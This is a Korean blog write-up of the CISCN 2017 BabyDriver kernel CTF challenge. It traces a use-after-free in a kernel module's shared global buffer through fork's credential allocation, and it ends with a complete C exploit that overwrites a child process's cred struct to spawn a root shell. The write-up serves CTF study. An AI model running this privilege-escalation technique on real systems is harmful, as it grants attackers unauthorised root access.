본문으로 바로가기

[CISCN 2017] BabyDriver

category CTF/Writeups 2019. 12. 31. 03:38

全国大学生信息安全竞赛 2017 - BabyDriver [Pwn/450]

 

babyopen

int __fastcall babyopen(inode *inode, file *filp)
{
  __int64 v2; // rdx
  
  _fentry__(inodefilp);
  babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 0x40LL);
  babydev_struct.device_buf_len = 0x40LL;
  printk("device open\n", 0x24000C0LL, v2);
  return 0;
}

 

babyrelease

int __fastcall babyrelease(inode *inode, file *filp)
{
  __int64 v2; // rdx
  
  _fentry__(inodefilp);
  kfree(babydev_struct.device_buf);
  printk("device release\n"filpv2);
  return 0;
}

 

babyioctl

// local variable allocation has failed, the output may be wrong!
__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
  size_t v3; // rdx
  size_t v4; // rbx
  __int64 v5; // rdx
  __int64 result; // rax
  
  _fentry__(filp, *(_QWORD *)&command);
  v4 = v3;
  if ( command == 65537 )
  {
    kfree(babydev_struct.device_buf);
    babydev_struct.device_buf = (char *)_kmalloc(v4, 0x24000C0LL);
    babydev_struct.device_buf_len = v4;
    printk("alloc done\n", 0x24000C0LL, v5);
    result = 0LL;
  }
  else
  {
    printk(&unk_2EBv3v3);
    result = -22LL;
  }
  return result;
}

 

babyread

ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
  size_t v4; // rdx
  ssize_t result; // rax
  ssize_t v6; // rbx
  
  _fentry__(filpbuffer);
  if ( !babydev_struct.device_buf )
    return -1LL;
  result = -2LL;
  if ( babydev_struct.device_buf_len > v4 )
  {
    v6 = v4;
    copy_to_user(buffer);
    result = v6;
  }
  return result;
}

 

babywrite

ssize_t __fastcall babywrite(file *filp, char *buffer, size_t length, loff_t *offset)
{
  size_t v4; // rdx
  ssize_t result; // rax
  ssize_t v6; // rbx
  
  _fentry__(filpbuffer);
  if ( !babydev_struct.device_buf )
    return -1LL;
  result = -2LL;
  if ( babydev_struct.device_buf_len > v4 )
  {
    v6 = v4;
    copy_from_user();
    result = v6;
  }
  return result;
}

 

 

Exploit

커널 버전은 4.4.72다. (uname -r)

 

ioctl로 babydev_struct.device_buf의 크기를 원하는 대로 지정해 줄 수 있으며, babydev_struct가 커널 모듈에 전역변수로 놓여져 있기 때문에 2개 이상의 device를 open하는 경우 UAF 취약점을 발생시킬 수 있다.

 

새 child process를 fork로 생성하는 경우 cred 구조체를 임의로 수정할 수 있다고 한다.

과정을 살펴보기 위해 fork()가 어디로 이어지는 지 따라가 봤다. 먼저 fork()를 호출하면 clone syscall을 호출한다.

 

157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
/* generic sys_clone is not enough registers */
asmlinkage int sys_clone(unsigned long __user *args)
{
    unsigned long clone_flags;
    unsigned long  newsp;
    uintptr_t parent_tidptr;
    uintptr_t child_tidptr;
 
    get_user(clone_flags, &args[0]);
    get_user(newsp, &args[1]);
    get_user(parent_tidptr, &args[2]);
    get_user(child_tidptr, &args[3]);
    return do_fork(clone_flags, newsp, 0,
               (int __user *)parent_tidptr, (int __user *)child_tidptr);
}

 

syscall에 넘겨준 인자로 do_fork를 호출한다.

 

1796
1797
1798
1799
1800
1801
1802
1803
1804
1805
1806
/* For compatibility with architectures that call do_fork directly rather than
 * using the syscall entry points below. */
long do_fork(unsigned long clone_flags,
          unsigned long stack_start,
          unsigned long stack_size,
          int __user *parent_tidptr,
          int __user *child_tidptr)
{
    return _do_fork(clone_flags, stack_start, stack_size,
            parent_tidptr, child_tidptr, 0);
}

 

do_fork에서 _do_fork를 호출하고...

 

1718
1719
1720
1721
1722
1723
1724
1725
1726
1727
1728
1729
1730
1731
1732
1733
1734
1735
1736
1737
1738
1739
1740
1741
1742
1743
1744
1745
1746
1747
1748
1749
1750
1751
1752
1753
1754
1755
1756
1757
1758
1759
1760
1761
1762
1763
1764
1765
1766
1767
1768
1769
1770
1771
1772
1773
1774
1775
1776
1777
1778
1779
1780
1781
1782
1783
1784
1785
1786
1787
1788
1789
1790
1791
1792
1793
/*
 *  Ok, this is the main fork-routine.
 *
 * It copies the process, and if successful kick-starts
 * it and waits for it to finish using the VM if required.
 */
long _do_fork(unsigned long clone_flags,
          unsigned long stack_start,
          unsigned long stack_size,
          int __user *parent_tidptr,
          int __user *child_tidptr,
          unsigned long tls)
{
    struct task_struct *p;
    int trace = 0;
    long nr;
 
    /*
     * Determine whether and which event to report to ptracer.  When
     * called from kernel_thread or CLONE_UNTRACED is explicitly
     * requested, no event is reported; otherwise, report if the event
     * for the type of forking is enabled.
     */
    if (!(clone_flags & CLONE_UNTRACED)) {
        if (clone_flags & CLONE_VFORK)
            trace = PTRACE_EVENT_VFORK;
        else if ((clone_flags & CSIGNAL) != SIGCHLD)
            trace = PTRACE_EVENT_CLONE;
        else
            trace = PTRACE_EVENT_FORK;
 
        if (likely(!ptrace_event_enabled(current, trace)))
            trace = 0;
    }
 
    p = copy_process(clone_flags, stack_start, stack_size,
             child_tidptr, NULL, trace, tls, NUMA_NO_NODE);
    /*
     * Do this prior waking up the new thread - the thread pointer
     * might get invalid after that point, if the thread exits quickly.
     */
    if (!IS_ERR(p)) {
        struct completion vfork;
        struct pid *pid;
 
        trace_sched_process_fork(current, p);
 
        pid = get_task_pid(p, PIDTYPE_PID);
        nr = pid_vnr(pid);
 
        if (clone_flags & CLONE_PARENT_SETTID)
            put_user(nr, parent_tidptr);
 
        if (clone_flags & CLONE_VFORK) {
            p->vfork_done = &vfork;
            init_completion(&vfork);
            get_task_struct(p);
        }
 
        wake_up_new_task(p);
 
        /* forking complete and child started to run, tell ptracer */
        if (unlikely(trace))
            ptrace_event_pid(trace, pid);
 
        if (clone_flags & CLONE_VFORK) {
            if (!wait_for_vfork_done(p, &vfork))
                ptrace_event_pid(PTRACE_EVENT_VFORK_DONE, pid);
        }
 
        put_pid(pid);
    } else {
        nr = PTR_ERR(p);
    }
    return nr;
}

 

1753번째 줄에서 copy_process를 호출한다.

 

1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
...
1349
1350
1351
...
1693
/*
 * This creates a new process as a copy of the old one,
 * but does not actually start it yet.
 *
 * It copies the registers, and all the appropriate
 * parts of the process environment (as per the clone
 * flags). The actual kick-off is left to the caller.
 */
static struct task_struct *copy_process(unsigned long clone_flags,
                    unsigned long stack_start,
                    unsigned long stack_size,
                    int __user *child_tidptr,
                    struct pid *pid,
                    int trace,
                    unsigned long tls,
                    int node)
{
    int retval;
    struct task_struct *p;
    void *cgrp_ss_priv[CGROUP_CANFORK_COUNT] = {};
 
    retval = copy_creds(p, clone_flags);
    if (retval < 0)
        goto bad_fork_free;
 
}

 

copy_process 내부에서 copy_creds를 호출한다.

 

313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
...
381
/*
 * Copy credentials for the new process created by fork()
 *
 * We share if we can, but under some circumstances we have to generate a new
 * set.
 *
 * The new process gets the current process's subjective credentials as its
 * objective and subjective credentials
 */
int copy_creds(struct task_struct *p, unsigned long clone_flags)
{
    struct cred *new;
    int ret;
 
    if (
#ifdef CONFIG_KEYS
        !p->cred->thread_keyring &&
#endif
        clone_flags & CLONE_THREAD
        ) {
        p->real_cred = get_cred(p->cred);
        get_cred(p->cred);
        alter_cred_subscribers(p->cred, 2);
        kdebug("share_creds(%p{%d,%d})",
               p->cred, atomic_read(&p->cred->usage),
               read_cred_subscribers(p->cred));
        atomic_inc(&p->cred->user->processes);
        return 0;
    }
 
    new = prepare_creds();
    if (!new)
        return -ENOMEM;
 
    if (clone_flags & CLONE_newUSER) {
        ret = create_user_ns(new);
        if (ret < 0)
            goto error_put;
    }
 
}

 

prepare_creds를 살펴보니..

 

229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
/**
 * prepare_creds - Prepare a new set of credentials for modification
 *
 * Prepare a new set of task credentials for modification.  A task's creds
 * shouldn't generally be modified directly, therefore this function is used to
 * prepare a new copy, which the caller then modifies and then commits by
 * calling commit_creds().
 *
 * Preparation involves making a copy of the objective creds for modification.
 *
 * Returns a pointer to the new creds-to-be if successful, NULL otherwise.
 *
 * Call commit_creds() or abort_creds() to clean up.
 */
struct cred *prepare_creds(void)
{
    struct task_struct *task = current;
    const struct cred *old;
    struct cred *new;
 
    validate_process_creds();
 
    new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
    if (!new)
        return NULL;
 
    kdebug("prepare_creds() alloc %p", new);
 
    old = task->cred;
    memcpy(new, old, sizeof(struct cred));
 
    atomic_set(&new->usage, 1);
    set_cred_subscribers(new, 0);
    get_group_info(new->group_info);
    get_uid(new->user);
    get_user_ns(new->user_ns);
 
#ifdef CONFIG_KEYS
    key_get(new->session_keyring);
    key_get(new->process_keyring);
    key_get(new->thread_keyring);
    key_get(new->request_key_auth);
#endif
 
#ifdef CONFIG_SECURITY
    new->security = NULL;
#endif
 
    if (security_prepare_creds(new, old, GFP_KERNEL) < 0)
        goto error;
    validate_creds(new);
    return new;
 
error:
    abort_creds(new);
    return NULL;
}
EXPORT_SYMBOL(prepare_creds);

 

kmem_cache_alloc이 호출되는 것을 볼 수 있다.

 

정리하면, fork > sys_clone > do_fork > _do_fork > copy_process > copy_creds > prepare_creds > kmem_cache_alloc 순서로 호출된다.

babydriver 커널 모듈에서 device_buf의 크기를 cred 구조체의 크기로 맞춰 준 뒤에 babyrelease를 한 번 한 상태에서 다른 device에서 device_buf를 수정하면 cred 구조체의 값이 바뀐다.

 

cred 구조체는 다음과 같다.

 

118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
struct cred {
    atomic_t    usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
    atomic_t    subscribers;    /* number of processes subscribed */
    void        *put_addr;
    unsigned    magic;
#define CRED_MAGIC    0x43736564
#define CRED_MAGIC_DEAD    0x44656144
#endif
    kuid_t        uid;        /* real UID of the task */
    kgid_t        gid;        /* real GID of the task */
    kuid_t        suid;        /* saved UID of the task */
    kgid_t        sgid;        /* saved GID of the task */
    kuid_t        euid;        /* effective UID of the task */
    kgid_t        egid;        /* effective GID of the task */
    kuid_t        fsuid;        /* UID for VFS ops */
    kgid_t        fsgid;        /* GID for VFS ops */
    unsigned    securebits;    /* SUID-less security management */
    kernel_cap_t    cap_inheritable; /* caps our children can inherit */
    kernel_cap_t    cap_permitted;    /* caps we're permitted */
    kernel_cap_t    cap_effective;    /* caps we can actually use */
    kernel_cap_t    cap_bset;    /* capability bounding set */
    kernel_cap_t    cap_ambient;    /* Ambient capability set */
#ifdef CONFIG_KEYS
    unsigned char    jit_keyring;    /* default keyring to attach requested
                     * keys to */
    struct key __rcu *session_keyring; /* keyring inherited over fork */
    struct key    *process_keyring; /* keyring private to this process */
    struct key    *thread_keyring; /* keyring private to this thread */
    struct key    *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
    void        *security;    /* subjective LSM security */
#endif
    struct user_struct *user;    /* real user ID subscription */
    struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
    struct group_info *group_info;    /* supplementary groups for euid/fsgid */
    struct rcu_head    rcu;        /* RCU deletion hook */
};

 

egid까지 모두 0으로 바꿔버리면 root가 된다.

헤더 레퍼런스가 꼬였는지 cred.h include가 안돼서 size를 손으로 계산해서 코드를 써야 했다....

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
// musl-gcc -static -s -pthread exploit.c
 
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/wait.h>
 
int main() {
#ifdef _EXP_TEST
#endif
    int dev1 = open("/dev/babydev", O_RDWR);
    int dev2 = open("/dev/babydev", O_RDWR);
    int cpid;
 
    if (dev1==-1 || dev2==-1) {
        fputs("[!] Device open failed.", stderr);
        return 1;
    }
 
    ioctl(dev1, 655370xA8);
    close(dev1);
 
    if ((cpid=fork()) == -1) {
        fputs("[!] fork failed.", stderr);
        return 1;
    }
 
    if (cpid == 0) {  // child process
        char payload[28= {0,};
        write(dev2, payload, 28);
 
        if (getuid() == 0) {
            system("/bin/sh");
            return 0;
        }
        else {
            fputs("[!] root permission not obtained.", stderr);
            return 1;
        }
    }
    else wait(0);
 
    return 0;
}

 

Reference

https://www.lazenca.net/pages/viewpage.action?pageId=25624864

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/kernel/kernel_uaf-zh/

https://stackoverflow.com/questions/11408041/how-to-debug-the-linux-kernel-with-gdb-and-qemu